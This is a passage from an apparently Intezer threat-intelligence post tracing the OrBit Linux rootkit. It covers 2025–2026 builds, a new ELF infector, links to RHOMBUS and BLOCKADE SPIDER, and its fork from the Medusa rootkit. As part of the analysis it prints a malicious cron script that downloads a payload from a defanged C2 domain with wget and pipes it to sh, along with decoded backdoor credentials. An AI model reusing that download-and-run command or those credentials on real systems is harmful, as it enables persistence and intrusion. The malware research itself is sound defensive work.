&lt;span&gt;d3d204c1&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;84828f31&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;0xA2&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;/lib/libseconf/&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;adm1n&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;asdfasdf&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;64&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;54&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;span&gt;t&lt;span&gt;runcated copy of&lt;/span&gt;&lt;/span&gt;&lt;span&gt;2b2eeb22&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;090b15fd&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;dropper (carries &lt;/span&gt;&lt;span&gt;8e83cbb2&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;64a3ebd3&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;dropper (carries &lt;/span&gt;&lt;span&gt;8e83cbb2&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;b85ed157&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;dropper (carries &lt;/span&gt;&lt;span&gt;8e83cbb2&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;d3d204c1&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;dropper (carries &lt;/span&gt;&lt;span&gt;2b2eeb22&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;73b95b7d&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;n/a&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;—&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;infector (carries &lt;/span&gt;&lt;span&gt;090b15fd&lt;/span&gt;&lt;span&gt; as inner ELF)&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;span&gt;The 2025 epoch marks two significant capability additions to Lineage A and confirms the rootkit’s return to the 0xA2 encryption key after the 2024 0xAA experiment.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;Two distinct rootkit .so builds are present in 2025, both Lineage A:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;8e83cbb2&lt;/span&gt;&lt;span&gt; represents the most capable build to date. Its 66-export set includes a significant new hook not seen in any prior variant: &lt;/span&gt;&lt;span&gt;pam_sm_authenticate&lt;/span&gt;&lt;span&gt;. This is the PAM &lt;/span&gt;&lt;i&gt;&lt;span&gt;service-side&lt;/span&gt;&lt;/i&gt;&lt;span&gt; authentication function, meaning the rootkit now hooks both sides of the PAM stack. Where earlier variants could only passively capture credentials via client-side &lt;/span&gt;&lt;span&gt;pam_authenticate&lt;/span&gt;&lt;span&gt;, this build can also forge authentication outcomes, allowing the attacker to approve or deny login attempts at will. The export set also includes &lt;/span&gt;&lt;span&gt;xread&lt;/span&gt;&lt;span&gt;, first seen in &lt;/span&gt;&lt;span&gt;296d28eb&lt;/span&gt;&lt;span&gt; (2023).&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;2b2eeb22&lt;/span&gt;&lt;span&gt; is a second Lineage A payload with 64 exports. XOR 0xA2 decode confirms credentials &lt;/span&gt;&lt;span&gt;adm1n&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;asdfasdf&lt;/span&gt;&lt;span&gt;, the same operator behind &lt;/span&gt;&lt;span&gt;ec7462c3&lt;/span&gt;&lt;span&gt; (2022), &lt;/span&gt;&lt;span&gt;296d28eb&lt;/span&gt;&lt;span&gt; (2023), and the &lt;/span&gt;&lt;span&gt;26082cd3&lt;/span&gt;&lt;span&gt; inner payload (2024), now spanning four years. &lt;/span&gt;&lt;span&gt;84828f31&lt;/span&gt;&lt;span&gt; is a truncated copy of &lt;/span&gt;&lt;span&gt;2b2eeb22&lt;/span&gt;&lt;span&gt; (same BuildID: &lt;/span&gt;&lt;span&gt;cbc9724027399723a27daa4114ffcdf906cb802f&lt;/span&gt;&lt;span&gt;, identical bytes up to 107KB, missing the trailing 102KB containing section headers and symbol tables), it is likely an incomplete extraction or download artifact. It is not a distinct sample.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;XOR 0xA2 string decode of both payloads confirms the full Lineage A string set is restored: &lt;/span&gt;&lt;span&gt;sshpass.txt&lt;/span&gt;&lt;span&gt; and &lt;/span&gt;&lt;span&gt;sshpass2.txt&lt;/span&gt;&lt;span&gt; both present, plus &lt;/span&gt;&lt;span&gt;.logpam&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;.udp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;.ports&lt;/span&gt;&lt;span&gt; (×2), &lt;/span&gt;&lt;span&gt;/proc/net/tcp&lt;/span&gt;&lt;span&gt;. The string removals introduced by the 2024 0xAA cluster (&lt;/span&gt;&lt;span&gt;a6138638&lt;/span&gt;&lt;span&gt;‘s missing &lt;/span&gt;&lt;span&gt;local.txt&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;sniff.txt&lt;/span&gt;&lt;span&gt;, etc.) were not carried forward, and both builds return to the comprehensive logging and credential-capture model.&lt;/span&gt;&lt;/p&gt;&lt;h4&gt;&lt;span&gt;Dropper Samples&lt;/span&gt;&lt;/h4&gt;&lt;p&gt;&lt;span&gt;090b15fd&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;64a3ebd3&lt;/span&gt;&lt;span&gt;, and &lt;/span&gt;&lt;span&gt;b85ed157&lt;/span&gt;&lt;span&gt; are statically linked ELF executables that carry &lt;/span&gt;&lt;span&gt;8e83cbb2&lt;/span&gt;&lt;span&gt; as an embedded .so and share the same Build ID: &lt;/span&gt;&lt;span&gt;da256c78910c552eb334814ada85c7655b717c4f&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;d3d204c1&lt;/span&gt;&lt;span&gt; is the same type of dropper carrying &lt;/span&gt;&lt;span&gt;2b2eeb22&lt;/span&gt;&lt;span&gt;. All four share the same architecture first seen in &lt;/span&gt;&lt;span&gt;f1612924&lt;/span&gt;&lt;span&gt; (from 2022).&lt;/span&gt;&lt;/p&gt;&lt;h4&gt;&lt;span&gt;73b95b7d: A New Dropper Architecture&lt;/span&gt;&lt;/h4&gt;&lt;p&gt;&lt;span&gt;73b95b7d&lt;/span&gt;&lt;span&gt; is not just a dropper, it is an infector that carries the dropper as an embedded payload. This creates a two-stage delivery chain: infector → dropper → rootkit.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;The inner binary (&lt;/span&gt;&lt;span&gt;090b15fd&lt;/span&gt;&lt;span&gt;, embedded at file offset &lt;/span&gt;&lt;span&gt;0x20d7&lt;/span&gt;&lt;span&gt;) is the dropper we previously saw. The infector’s role is propagation and persistence; the dropper’s role is to extract and install the rootkit &lt;/span&gt;&lt;span&gt;.so&lt;/span&gt;&lt;span&gt; via &lt;/span&gt;&lt;span&gt;ld.so.preload&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;The infector scans the filesystem for ELF binaries and injects the second-stage payload into them. An infection marker &lt;/span&gt;&lt;span&gt;bongripz4jezuz&lt;/span&gt;&lt;span&gt; (stored in base64 encoding as: &lt;/span&gt;&lt;span&gt;Ym9uZ3JpcHo0amV6dXoK&lt;/span&gt;&lt;span&gt;&lt;span&gt;)&lt;/span&gt; is checked before each infection attempt to avoid re-infecting the same target. The injected binaries include:&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span&gt;/bin/ls&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;All 64-bit ELF files in the current working directory that have read/write access.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span&gt;Additionally, &lt;/span&gt;&lt;span&gt;/etc/cron.hourly/0&lt;/span&gt;&lt;span&gt; is created as a persistence mechanism (to download and execute a remote payload), though it is a shell script rather than an ELF injection target.&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;&lt;span&gt;#!/bin/sh&lt;/span&gt;&lt;span&gt;wget&lt;/span&gt;&lt;span&gt;--quiet&lt;/span&gt;&lt;span&gt;http://cf0[.]pw/&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;/etc/cron.hourly/&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;-O-&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&amp;gt;/dev/null|sh&amp;gt;/dev/null&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&amp;gt;&amp;amp;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/pre&gt;&lt;p&gt;&lt;span&gt;This is the first OrBit component with any form of C2 communication. Every previous version was a purely passive implant, meaning the attacker connected via the SSH backdoor. &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;This introduces an external command channel that can deliver updated payloads or instructions, adding a reinfection mechanism on top of &lt;/span&gt;&lt;span&gt;ld.so.preload&lt;/span&gt;&lt;span&gt; persistence.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;The earlier droppers stored all paths and commands as plaintext. 73b95b7d is the first dropper to implement string protection: a custom substitution cipher using two lookup tables at .data offsets for the cipher and plain, each with 88 entries, defining a character-by-character mapping. Notably, this is a different scheme from the XOR encryption used by the previous rootkit payloads.&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;char mw_plain_table[0x4e] = &amp;quot;0123456789abcdefghijklmnopqrstuvzywxABCDEFGHIJKLMNOPQRSTUVZYWX|:. !#-/;&amp;amp;*\&amp;#39;\&amp;quot;\n\r&amp;quot;,0char mw_cipher_table[0x58] = &amp;quot;&amp;lt;&amp;gt;@o$:,.l+*^?=)(|AB&amp;amp;%;D{!wkUxzvutsrqp_nm-ihgfFCcba~K23456789eyd1XSNQWTZMIRHGVOYLjPJE/][&amp;quot;,0&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;&lt;span&gt;Connection to RHOMBUS&lt;/span&gt;&lt;/h4&gt;&lt;p&gt;&lt;span&gt;The structure of this dropper, which delivers the OrBit payload in the final stage, is identical to that described in this &lt;/span&gt;&lt;a href=&quot;https://blog.apnic.net/2020/05/22/rhombus-a-new-iot-malware/&quot;&gt;&lt;span&gt;APNIC blog&lt;/span&gt;&lt;/a&gt;&lt;span&gt; that analyzed a dropper that delivered RHOMBUS malware.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;Rhombus is a Linux-based botnet malware first reported in February 2020 by the &lt;/span&gt;&lt;a href=&quot;https://old.reddit.com/r/LinuxMalware/comments/fh3zar/memo_rhombus_an_elf_bot_installerdropper/&quot;&gt;&lt;span&gt;MalwareMustDie research group&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, which analyzed and shared samples of it. It acts as an installer/dropper that persists on infected devices, drops a second-stage payload, and then uses the compromised system for DDoS activity. The target systems are VPS and IoT devices. (SHA256 of the dropper: &lt;span&gt;b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784&lt;/span&gt;).&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;Interestingly, the dropper &lt;/span&gt;&lt;span&gt;73b95b7d&lt;/span&gt;&lt;span&gt; that delivers the OrBit payload in the final stage is identical to the one used in the Rhombus campaign 6 years ago. Coincidentally, both droppers use the same domain to download the payload as part of the cron-job-based persistence. The current resolution of the domain is to 109.95.212[.]253. The host has a unique BANNER_0_HASH-IP value, &lt;/span&gt;&lt;span&gt;&lt;span&gt;ba0c31785465186600a76b7af2a37aa6&lt;/span&gt;,&lt;/span&gt;&lt;span&gt; that is shared with only one other IP, 109.95.211[.]141, as shown in the screenshot below from Validin. Based on the ASN resolution, both IP addresses are located in Russia.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;The fact that the OrBit dropper shares the same domain as malware from 6 years ago can also be interpreted as an attempt to mislead researchers; therefore, we are not taking this evidence into account for attribution at this moment. However, it is worth noting that this connection exists.&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;https://intezer.com/wp-content/uploads/2026/05/Screenshot-2026-05-14-at-12.06.04.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;figcaption&gt;Shared BANNER_0_HASH-IP value.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;https://intezer.com/wp-content/uploads/2026/05/second-image.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;figcaption&gt;Resolution of http://cf0[.]pw&lt;/figcaption&gt;&lt;/figure&gt;&lt;h3&gt;&lt;span&gt;Samples From February 2026&lt;/span&gt;&lt;/h3&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;b&gt;Hash&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;XOR&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Working dir&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Username&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Password&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Exports&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;# Hooks&lt;/b&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;04c06be0&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;0xA2&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;/&lt;span&gt;lib/libseconf/&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;jokerteam&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;HACK89SERVER&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;64&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;54&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;d7b487d2&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;0xA2&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;/&lt;span&gt;lib/libseconf/&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;57ill4Cu63&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;1qaz@WSX3edc098&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;64&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;54&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;span&gt;These two samples are confirmed to be identical in structure: the same 54-hook set, the same XOR key (0xA2), and the same working directory (&lt;/span&gt;&lt;span&gt;/lib/libseconf/&lt;/span&gt;&lt;span&gt;). The only difference is credentials: &lt;/span&gt;&lt;span&gt;jokerteam&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;HACK89SERVER&lt;/span&gt;&lt;span&gt; versus &lt;/span&gt;&lt;span&gt;57ill4Cu63&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;1qaz@WSX3edc098&lt;/span&gt;&lt;span&gt;. XOR 0xA2 decode confirms the full Lineage A string set.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;No Lineage B samples have surfaced since 2024, suggesting the lite build may have been retired or consolidated back into the main branch.&lt;/span&gt;&lt;/p&gt;&lt;h3&gt;&lt;span&gt;Connection to BLOCKADE SPIDER&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;&lt;span&gt;In CrowdStrike’s 2026 Global Threat &lt;/span&gt;&lt;a href=&quot;https://www.crowdstrike.com/explore/2026-global-threat-report&quot;&gt;&lt;span&gt;Report&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, they mention that &lt;/span&gt;&lt;a href=&quot;https://www.crowdstrike.com/en-us/adversaries/blockade-spider/&quot;&gt;&lt;span&gt;BLOCKADE SPIDER&lt;/span&gt;&lt;/a&gt;&lt;span&gt; used the OrBit backdoor to maintain persistence and stealthy access to virtualization environments.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;BLOCKADE SPIDER is a CrowdStrike-tracked eCrime adversary that has been active at least since 2024. They are known for running Embargo ransomware campaigns using sophisticated, multi-domain attack techniques.&lt;/span&gt;&lt;/p&gt;&lt;h2&gt;&lt;span&gt;Origin: OrBit is a fork of the Medusa open-source rootkit&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;&lt;span&gt;Mandiant’s reporting on &lt;/span&gt;&lt;a href=&quot;https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations&quot;&gt;&lt;span&gt;UNC3886 espionage operations&lt;/span&gt;&lt;/a&gt;&lt;span&gt; identifies MEDUSA and its installer, SEAELF, as tools used by this state-sponsored actor against Juniper and VMware infrastructure. Essentially, OrBit is built from Medusa, an open-source LD_PRELOAD rootkit published on GitHub (&lt;/span&gt;&lt;a href=&quot;http://github.com/ldpreload/Medusa&quot;&gt;&lt;span&gt;github.com/ldpreload/Medusa&lt;/span&gt;&lt;/a&gt;&lt;span&gt;) in December 2022.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;Mandiant’s MEDUSA configuration table matches our 2024 Lineage A 0xAA-key cluster exactly across four independent fields: the XOR key &lt;/span&gt;&lt;span&gt;0xAA&lt;/span&gt;&lt;span&gt;, the backdoor credentials &lt;/span&gt;&lt;span&gt;Y0u4reCu6e&lt;/span&gt;&lt;span&gt; and &lt;/span&gt;&lt;span&gt;1qaz@WSX3edc123&lt;/span&gt;&lt;span&gt;, the install path &lt;/span&gt;&lt;span&gt;/lib/locate/&lt;/span&gt;&lt;span&gt;, and a modification to the rootkit that redirects strace output to &lt;/span&gt;&lt;span&gt;/tmp/orbit.txt&lt;/span&gt;&lt;span&gt;. That literal &lt;/span&gt;&lt;span&gt;orbit&lt;/span&gt;&lt;span&gt; filename, preserved as a plaintext artifact inside UNC3886’s MEDUSA binary, is direct cross-attribution: Mandiant’s “MEDUSA” sample set and our “OrBit” 2024 cluster are the same builds.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;We compiled Medusa from source and compared the resulting binaries byte-for-byte against our OrBit corpus. The match is unambiguous, and it rewrites the attribution and evolution story.&lt;/span&gt;&lt;/p&gt;&lt;h3&gt;&lt;span&gt;Evidence of the fork&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;&lt;span&gt;The first is a function-set and export match. Compiling Medusa’s &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/src/rkld.c&quot;&gt;&lt;span&gt;src/rkld.c&lt;/span&gt;&lt;/a&gt;&lt;span&gt; against the &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/Makefile#L30&quot;&gt;&lt;span&gt;default Makefile recipe&lt;/span&gt;&lt;/a&gt;&lt;span&gt; produces a shared object whose function set, hook list, and XOR-obfuscated string table are a direct superset match for OrBit Lineage A samples. The 2022 OrBit baseline (&lt;/span&gt;&lt;span&gt;ec7462c3&lt;/span&gt;&lt;span&gt;) shares all core exports with the Medusa build and reuses the identical XOR 0xA2 string obfuscation scheme driven by Medusa’s build-time &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/src/config.c#L180&quot;&gt;&lt;span&gt;xor_dump()&lt;/span&gt;&lt;span&gt; pipeline&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, with the XOR key itself hardcoded in &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/src/config.c#L349&quot;&gt;&lt;span&gt;config.c&lt;/span&gt;&lt;/a&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;The second is a source-filename fingerprint that is present in almost every sample we analyzed. Some of the samples ship with an unstripped ELF &lt;/span&gt;&lt;span&gt;.symtab&lt;/span&gt;&lt;span&gt;. The resulting filenames are preserved verbatim: rootkit samples carry &lt;/span&gt;&lt;span&gt;rkld.c&lt;/span&gt;&lt;span&gt; and, when Lineage A is linked in, &lt;/span&gt;&lt;span&gt;rknet.c&lt;/span&gt;&lt;span&gt;, while loader samples carry &lt;/span&gt;&lt;span&gt;rkload.c&lt;/span&gt;&lt;span&gt;. Those are the exact names of Medusa’s source files, &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/src/rkld.c&quot;&gt;&lt;span&gt;src/rkld.c&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/src/rknet.c&quot;&gt;&lt;span&gt;src/rknet.c&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, and &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/src/rkload.c&quot;&gt;&lt;span&gt;src/rkload.c&lt;/span&gt;&lt;/a&gt;&lt;span&gt;. The filenames themselves are not secret, since the Medusa repository is public, but their verbatim presence in the compiled binary is a strong attribution anchor: every unstripped sample directly identifies the upstream tree it was built from. Of the samples in our corpus, only three are fully stripped (the 2025 dropper &lt;/span&gt;&lt;span&gt;73b95b7d&lt;/span&gt;&lt;span&gt;, and the rootkit binaries &lt;/span&gt;&lt;span&gt;a6138638&lt;/span&gt;&lt;span&gt; and &lt;/span&gt;&lt;span&gt;b9822764&lt;/span&gt;&lt;span&gt;). Three representative samples are shown below: a full Lineage A rootkit (&lt;/span&gt;&lt;span&gt;ec7462c3&lt;/span&gt;&lt;span&gt;, 2022), a Lineage B lite rootkit (&lt;/span&gt;&lt;span&gt;3ba6c174&lt;/span&gt;&lt;span&gt;, 2023), and the SEAELF loader (&lt;/span&gt;&lt;span&gt;26082cd3&lt;/span&gt;&lt;span&gt;, 2024).&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;$ readelf -s ec7462c3f4a874… | awk ‘/FILE    LOCAL/’&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;    25: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;    34: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS rkld.c&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;    40: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS rknet.c&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;    46: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;$ readelf -s 3ba6c174a72e4b… | awk ‘/FILE    LOCAL/’&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;     1: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;     9: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS rkld.c&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;    15: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;$ readelf -s 26082cd36fdaf7… | awk ‘/FILE    LOCAL/’&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;     1: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;     9: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS rkload.c&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;    14: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;The Lineage A rootkit carries both &lt;/span&gt;&lt;span&gt;rkld.c&lt;/span&gt;&lt;span&gt; and &lt;/span&gt;&lt;span&gt;rknet.c&lt;/span&gt;&lt;span&gt;; the Lineage B rootkit, which omits the advanced hook set, carries only &lt;/span&gt;&lt;span&gt;rkld.c&lt;/span&gt;&lt;span&gt;; and the loader carries &lt;/span&gt;&lt;span&gt;rkload.c&lt;/span&gt;&lt;span&gt;. The same pattern holds across the wider corpus.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;Alongside the filename fingerprint, the loader’s entry-point dispatch, its &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/src/rkload.c#L67&quot;&gt;&lt;span&gt;build_root()&lt;/span&gt;&lt;/a&gt;&lt;span&gt; filesystem layout (&lt;/span&gt;&lt;span&gt;&lt;span&gt;.boot.sh&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;.logpam&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;sshpass.txt&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;sshpass2.txt&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;.ports&lt;/span&gt;&lt;/span&gt;&lt;span&gt;), and its SELinux &lt;/span&gt;&lt;span&gt;setxattr&lt;/span&gt;&lt;span&gt; sequence all map one-to-one to the Medusa source.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;The third is an embedded inner ELF produced by &lt;/span&gt;&lt;span&gt;xxd -i&lt;/span&gt;&lt;span&gt;. Medusa’s Makefile embeds &lt;/span&gt;&lt;span&gt;build/rkld.so&lt;/span&gt;&lt;span&gt; into the loader using the &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/Makefile#L31&quot;&gt;&lt;span&gt;xxd -i build/rkld.so &amp;gt; build/rkld.h&lt;/span&gt;&lt;/a&gt;&lt;span&gt; step, which is then included by the loader compiled at &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa/blob/master/Makefile#L33&quot;&gt;&lt;span&gt;Makefile line 33&lt;/span&gt;&lt;/a&gt;&lt;span&gt;. OrBit’s loader binaries follow this pattern: a &lt;/span&gt;&lt;span&gt;rkld.so&lt;/span&gt;&lt;span&gt; blob embedded as a C byte array within the loader 